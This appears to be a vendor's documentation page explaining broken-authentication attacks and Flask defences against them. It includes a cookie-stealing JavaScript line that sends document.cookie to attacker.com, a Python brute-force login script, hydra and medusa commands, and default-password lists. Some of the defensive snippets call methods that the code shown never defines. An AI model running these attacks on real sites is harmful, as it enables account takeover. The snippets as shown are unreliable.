Documentation

# Broken Authentication

CRITICAL SEVERITY OWASP TOP 10 #2 ACCOUNT TAKEOVER

# Overview

Broken Authentication vulnerabilities allow attackers to compromise passwords, keys, session tokens, or exploit other authentication flaws to assume the identities of legitimate users.

Broken Authentication Attack Illustration
Broken Authentication Attack Illustration


# Simple Explanation

# Real-World Analogy

Imagine a bank that has a weak identification process:

  • Requires government ID + PIN + signature
  • Limits failed attempts (3 strikes and locked out)
  • Notifies you of unusual activity
  • Times out inactive sessions
  • Only asks for account number (no password)
  • Allows unlimited password guessing
  • Never logs you out
  • Doesn't notice if someone in another country accesses your account
  • Uses easily guessable security questions ("What's your mother's maiden name?")

# In the Digital World

Broken Authentication = Any weakness in how a website verifies "you are who you say you are."

  • Weak password policies
  • No limit on login attempts
  • Poor session management
  • Missing multi-factor authentication
  • Insecure password recovery

# Types of Authentication Attacks

# 1. Credential Stuffing

Using username/password pairs stolen from one website to access accounts on other websites

  1. Data breach occurs: Hacker steals 100 million passwords from Website A
  2. Passwords leaked: Credentials posted on dark web
  3. Attacker downloads list: Gets username/password combinations
  4. Automated testing: Uses bots to try these credentials on Website B, C, D...
  5. Success: Many people reuse passwords, so thousands of accounts compromised
Website A (breached in 2020):
- user@email.com : Password123!
Attacker's bot tries on other sites:
- Amazon.com: user@email.com : Password123! ✓ SUCCESS
- Netflix.com: user@email.com : Password123! ✓ SUCCESS
- Bank.com: user@email.com : Password123! ✓ SUCCESS

Studies show 65% of people reuse passwords across multiple sites

# :icon-lock-open: 2. Brute Force Attacks

Systematically trying every possible password until finding the right one

Try every possible combination:

a, b, c, ... aa, ab, ac, ... aaa, aab, aac, ...
password, password1, password123, ...

Try common passwords from a list:

123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon

Common words + numbers/symbols:

password1
password123
password!
Password1
P@ssword1
# Attacker's script (simplified)
import requests

common_passwords = [
    '123456', 'password', 'qwerty', '12345678',
    '111111', '123456789', 'admin', 'letmein'
]

for password in common_passwords:
    response = requests.post('https://target.com/login', data={
        'username': 'admin',
        'password': password
    })

    if 'Login successful' in response.text:
        print(f"SUCCESS! Password is: {password}")
        break

Without rate limiting, this can try thousands of passwords per second.

# 3. Session Hijacking

Stealing someone's active session to access their account without knowing their password

1. User logs in → Server creates session ID → Sends cookie to browser
2. Browser stores: session_id=abc123xyz
3. Every request includes this cookie
4. Server recognizes user by session ID
https://bank.com/dashboard?session_id=abc123xyz

Attacker sees URL, copies session ID, gains access.

// Attacker injects script on website
document.location='http://attacker.com/steal?cookie='+document.cookie;

Steals session cookie and sends to attacker.

If site doesn't use HTTPS, attacker on same WiFi network can intercept session cookies.

# 4. Weak Password Recovery

Exploiting flaws in "Forgot Password" features

Q: What's your mother's maiden name?
A: Publicly available on social media

Q: What city were you born in?
A: Often shared online

Q: What's your pet's name?
A: Posted in Instagram photos
Reset link: https://site.com/reset?token=1001
Attacker tries: https://site.com/reset?token=1002, 1003, 1004...
Finds valid tokens and resets other users' passwords
Reset email sent → User ignores it → Token works forever
Attacker finds old email → Uses reset link months later

# 5. Default Credentials

Using manufacturer default usernames/passwords that were never changed

admin : admin
admin : password
root : root
administrator : password123
admin : 1234

# Real-World Examples

# Case Study 1: Dunkin' Donuts (2018)

Credential stuffing using passwords from other breaches

  • Thousands of DD Perks accounts compromised
  • Stored payment cards stolen
  • Rewards points fraudulently used
  1. Attackers used credentials leaked from other breaches
  2. Automated bots tested these credentials on Dunkin's website
  3. No rate limiting allowed millions of login attempts
  4. Successful logins allowed gift card redemption
# No protection against automated login attempts
@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    user = User.query.filter_by(username=username).first()
    if user and user.check_password(password):
        login_user(user)
        return redirect('/dashboard')
    return "Invalid credentials"

# Case Study 2: GitHub Token Scanning (2021)

Session hijacking via exposed access tokens

  • Attackers accessed private repositories
  • Source code stolen
  • OAuth tokens compromised
  1. Developers accidentally committed access tokens to public repos
  2. Attackers used automated tools to scan GitHub for exposed tokens
  3. Valid tokens used to access private resources
  4. No token expiration policy allowed long-term abuse

# Case Study 3: Ring Camera (2019)

Credential stuffing + no 2FA requirement

  • Attackers accessed home security cameras
  • Harassed families through camera speakers
  • Major privacy violations
  1. Users reused passwords from breached sites
  2. Ring didn't enforce 2FA by default
  3. Attackers used credential stuffing bots
  4. Successfully accessed cameras in people's homes

# Prevention & Mitigation

# 1. Strong Password Policies

Enforce complexity requirements and check against breach databases

[Password Validation]
import re
from password_strength import PasswordPolicy

policy = PasswordPolicy.from_names(
    length=12,              # Minimum 12 characters
    uppercase=1,            # At least 1 uppercase
    lowercase=1,            # At least 1 lowercase
    numbers=1,              # At least 1 number
    special=1,              # At least 1 special char
    nonletters=2,           # At least 2 non-letters
)

# Common password blacklist
COMMON_PASSWORDS = [
    '123456', 'password', 'qwerty', '12345678',
    '111111', '123456789', 'letmein', 'admin'
    # ... thousands more
]

def validate_password(password):
    # Check policy
    if not policy.test(password):
        return False, "Password doesn't meet complexity requirements"

    # Check against common passwords
    if password.lower() in COMMON_PASSWORDS:
        return False, "Password is too common"

    # Check against breached passwords
    if is_password_breached(password):
        return False, "Password found in known data breaches"

    return True, "Password is strong"
[Breach Database Check]
def is_password_breached(password):
    import hashlib
    import requests

    # Hash password (k-anonymity model)
    sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
    prefix = sha1[:5]
    suffix = sha1[5:]

    # Query haveibeenpwned API
    url = f'https://api.pwnedpasswords.com/range/{prefix}'
    response = requests.get(url)

    # Check if hash suffix appears in response
    return suffix in response.text
  • Minimum 12 characters (longer is better)
  • Mix of uppercase, lowercase, numbers, symbols
  • No dictionary words
  • Not found in breach databases
  • No personal information (name, birthday, etc.)
  • Different from previous passwords

# 2. Multi-Factor Authentication (2FA)

Even if password is stolen, attacker can't access account without second factor

[Setup 2FA]
import pyotp
import qrcode

def setup_2fa(user):
    # Generate secret key
    secret = pyotp.random_base32()

    # Store secret for user
    user.totp_secret = secret
    user.save()

    # Generate QR code for authenticator app
    totp_uri = pyotp.totp.TOTP(secret).provisioning_uri(
        name=user.email,
        issuer_name='YourApp'
    )

    qr = qrcode.make(totp_uri)
    return qr

def verify_2fa_code(user, code):
    totp = pyotp.TOTP(user.totp_secret)
    return totp.verify(code, valid_window=1)
[Login with 2FA]
@app.route('/login', methods=['POST'])
def login():
    user = authenticate(request.form['username'], request.form['password'])

    if not user:
        return "Invalid credentials", 401

    if user.has_2fa_enabled:
        # Require 2FA code
        session['pending_2fa_user_id'] = user.id
        return redirect('/2fa-verify')

    login_user(user)
    return redirect('/dashboard')

@app.route('/2fa-verify', methods=['POST'])
def verify_2fa():
    user_id = session.get('pending_2fa_user_id')
    user = User.query.get(user_id)

    code = request.form['code']

    if verify_2fa_code(user, code):
        login_user(user)
        session.pop('pending_2fa_user_id')
        return redirect('/dashboard')

    return "Invalid 2FA code", 401
  • TOTP (Time-based One-Time Passwords) - Most secure, app-based
  • SMS codes - Convenient but less secure
  • Hardware tokens (WebAuthn/FIDO2) - Most secure for enterprises
  • Backup codes - For account recovery

# 3. Rate Limiting and Account Lockout

Prevent brute force attacks by limiting login attempts

[Rate Limiting]
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from datetime import datetime, timedelta

limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"]
)

# Track failed login attempts
class LoginAttempt:
    def __init__(self):
        self.attempts = {}  # {username: [(timestamp, ip), ...]}

    def record_failure(self, username, ip):
        if username not in self.attempts:
            self.attempts[username] = []

        # Clean old attempts (>1 hour)
        cutoff = datetime.now() - timedelta(hours=1)
        self.attempts[username] = [
            (ts, ip) for ts, ip in self.attempts[username]
            if ts > cutoff
        ]

        self.attempts[username].append((datetime.now(), ip))

    def is_locked(self, username):
        if username not in self.attempts:
            return False

        # Lock after 5 failed attempts in 1 hour
        return len(self.attempts[username]) >= 5

login_attempts = LoginAttempt()
[Secure Login with Lockout]
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # Rate limit per IP
def login():
    username = request.form['username']
    password = request.form['password']

    # Check if account is locked
    if login_attempts.is_locked(username):
        unlock_time = login_attempts.get_lockout_time(username)
        remaining = (unlock_time - datetime.now()).seconds // 60
        return f"Account locked. Try again in {remaining} minutes.", 429

    # Authenticate
    user = User.query.filter_by(username=username).first()

    if not user or not user.check_password(password):
        # Record failed attempt
        login_attempts.record_failure(username, request.remote_addr)

        # Get remaining attempts
        remaining_attempts = 5 - len(login_attempts.attempts.get(username, []))

        return f"Invalid credentials. {remaining_attempts} attempts remaining.", 401

    # Success - clear failed attempts
    if username in login_attempts.attempts:
        del login_attempts.attempts[username]

    login_user(user)
    return redirect('/dashboard')
  • Limit attempts per IP address (e.g., 5 per minute)
  • Limit attempts per username (e.g., 5 per hour)
  • Lock account after repeated failures (e.g., 30 minutes)
  • Use progressive delays (1s, 2s, 4s, 8s...)
  • Implement CAPTCHA after suspicious activity

# 4. Secure Session Management

Use cryptographically strong session IDs with proper security settings

[Secure Session Configuration]
from flask import Flask, session
import secrets
import redis
from datetime import timedelta

app = Flask(__name__)

# Use cryptographically secure secret key
app.secret_key = secrets.token_hex(32)

# Server-side session storage
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = redis.from_url('redis://localhost:6379')
app.config['SESSION_PERMANENT'] = True
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)

# Cookie security settings
app.config['SESSION_COOKIE_SECURE'] = True      # HTTPS only
app.config['SESSION_COOKIE_HTTPONLY'] = True    # No JavaScript access
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'   # CSRF protection

from flask_session import Session
Session(app)
[Login with Session Regeneration]
@app.route('/login', methods=['POST'])
def login():
    user = authenticate(request.form['username'], request.form['password'])

    if user:
        # Generate new session ID (prevent session fixation)
        session.regenerate()

        # Store minimal data in session
        session['user_id'] = user.id
        session['login_time'] = datetime.now().isoformat()
        session['ip_address'] = request.remote_addr

        return redirect('/dashboard')

    return "Invalid credentials", 401
[Session Validation]
@app.before_request
def check_session():
    if 'user_id' in session:
        # Verify IP hasn't changed (optional, may cause issues with mobile)
        if session.get('ip_address') != request.remote_addr:
            session.clear()
            return redirect('/login?reason=ip_changed')

        # Check idle timeout (30 minutes)
        last_activity = session.get('last_activity')
        if last_activity:
            idle_time = datetime.now() - datetime.fromisoformat(last_activity)
            if idle_time > timedelta(minutes=30):
                session.clear()
                return redirect('/login?reason=timeout')

        # Update last activity
        session['last_activity'] = datetime.now().isoformat()

# Detection & Testing

# Testing Checklist

  • Can you create account with weak password? (test: "123456")
  • Are common passwords blocked? (test top 1000 list)
  • Is there minimum length requirement?
  • Are special characters required?
  • Can you reuse old passwords?
  • Is there account lockout after failed attempts?
  • Are there CAPTCHAs after suspicious activity?
  • Is IP-based rate limiting in place?
  • Do delays increase after failed attempts?
  • Are session IDs long and random?
  • Do sessions expire after logout?
  • Is there idle timeout?
  • Are concurrent sessions allowed?
  • Can you reuse old session IDs?
  • Is 2FA available?
  • Is 2FA enforced for sensitive actions?
  • Are backup codes provided?
  • Can 2FA be easily bypassed?

# Testing Tools

Brute force password testing with wordlists

# Fast network authentication cracker
hydra -l admin -P passwords.txt https-post-form \
  "target.com/login:username=^USER^&password=^PASS^:Invalid"

Automated authentication testing scanner

# Parallel brute force tool
medusa -h target.com -u admin -P passwords.txt -M web-form

# Security Checklist

# Development

  • Enforce strong password policies (12+ characters, complexity)
  • Check passwords against breach databases
  • Implement multi-factor authentication
  • Use rate limiting on login endpoints
  • Lock accounts after repeated failures
  • Generate cryptographically strong session IDs
  • Regenerate session ID after login
  • Set secure cookie flags (Secure, HttpOnly, SameSite)
  • Implement idle and absolute session timeouts
  • Use server-side session storage

# Infrastructure

  • Enable HTTPS everywhere
  • Use Web Application Firewall (WAF)
  • Monitor for credential stuffing patterns
  • Implement IP reputation blocking
  • Log all authentication events
  • Alert on suspicious activities
  • Regular security audits

# Testing

  • Test with common password lists
  • Attempt brute force attacks
  • Test session management vulnerabilities
  • Verify 2FA cannot be bypassed
  • Test password reset functionality
  • Check for username enumeration
  • Penetration testing for authentication flaws

# Key Takeaways


# References & Resources

# Official Documentation

# Testing Tools

# Learning Resources


# Layerd AI Protection

Layerd AI Guardian Proxy strengthens authentication:

  • Credential stuffing detection - ML identifies automated login attempts
  • Behavioral analysis - Detects unusual authentication patterns
  • Real-time blocking - Prevents brute force and enumeration attacks
  • Automatic rate limiting - Dynamic throttling based on threat level

Learn more about Layerd AI Protection →


Remember: Broken authentication is one of the most critical vulnerabilities. Always implement strong password policies, multi-factor authentication, rate limiting, and secure session management to protect user accounts.

Defense in depth is essential - use multiple authentication security layers!


Last updated: November 2025